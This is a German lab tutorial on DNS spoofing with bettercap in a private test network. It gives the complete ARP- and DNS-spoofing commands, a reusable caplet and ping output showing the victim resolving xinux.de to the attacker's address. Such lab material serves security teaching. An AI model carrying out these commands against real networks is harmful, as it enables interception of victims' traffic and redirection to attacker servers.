Dnsspoofing mit Bettercap

Szenario

• OPFER=10.0.10.104
• ANGREIFER=10.0.10.101
• INTERFACE=eth0

Der Angreifer sitzt bereits per ARP-Spoofing zwischen OPFER und Gateway und faelscht zusaetzlich die DNS-Antworten. Fragt das OPFER nach xinux.de, bekommt es die IP des Angreifers zurueck statt der echten - und landet auf dessen Server.

Benoetigtes Paket

• apt-get install bettercap

Echte Adresse zum Vergleich

• host -4 xinux.de

xinux.de has address 94.130.248.215

Angreifer: Spoofing-Ziel festlegen

bettercap steuert das Umschreiben ueber zwei Werte

welche Namen gefaelscht

werden (dns.spoof.domains) und auf welche IP umgebogen wird (dns.spoof.address).

• bettercap -iface eth0

Im bettercap-Prompt

• set arp.spoof.targets 10.0.10.104
• set arp.spoof.fullduplex true
• set dns.spoof.domains xinux.de
• set dns.spoof.address 10.0.10.101
• net.probe on
• arp.spoof on
• dns.spoof on

Optionen

arp.spoof.targets     =  das Opfer
arp.spoof.fullduplex  =  beide Richtungen vergiften (Opfer und Gateway)
dns.spoof.domains     =  welche Namen gefaelscht werden (hier xinux.de)
dns.spoof.address     =  auf welche IP umgebogen wird (die des Angreifers)
net.probe on          =  ARP-Cache vorab fuellen
arp.spoof on          =  ARP-Spoofing starten (Voraussetzung fuers DNS-Spoofing)
dns.spoof on          =  DNS-Antworten faelschen

Wichtig

dns.spoof funktioniert nur, wenn arp.spoof laeuft. Erst muss der DNS-

Verkehr des Opfers ueber den Angreifer laufen, dann kann er die Antworten

umschreiben. Nur dns.spoof ohne arp.spoof sieht die Anfragen gar nicht.

Als Caplet (reproduzierbar)

Das Caplet ist nichts weiter als die obigen Befehle in eine Datei geschrieben,

damit man sie nicht jedes Mal von Hand tippt.

• vim seclab-dns.cap:

net.probe on
set arp.spoof.targets 10.0.10.104
set arp.spoof.fullduplex true
set dns.spoof.domains xinux.de
set dns.spoof.address 10.0.10.101
arp.spoof on
dns.spoof on

Start

• bettercap -iface eth0 -caplet seclab-dns.cap

OPFER: Beweis

• ping xinux.de

PING xinux.de (10.0.10.101) 56(84) bytes of data.
64 bytes from kali.secure.local (10.0.10.101): icmp_seq=1 ttl=64 time=0.444 ms
64 bytes from kali.secure.local (10.0.10.101): icmp_seq=2 ttl=64 time=0.395 ms
64 bytes from kali.secure.local (10.0.10.101): icmp_seq=3 ttl=64 time=0.263 ms

Statt der echten 94.130.248.215 loest xinux.de jetzt auf 10.0.10.101 auf - die

Adresse des Angreifers. Das Opfer landet bei jedem Aufruf von xinux.de auf dem

Server des Angreifers.

Angriff beenden

Im bettercap-Prompt

• dns.spoof off
• arp.spoof off
• q

arp.spoof off schickt re-ARP, damit die ARP-Caches wieder stimmen.

Weiterfuehrende Angriffe

• Ngrep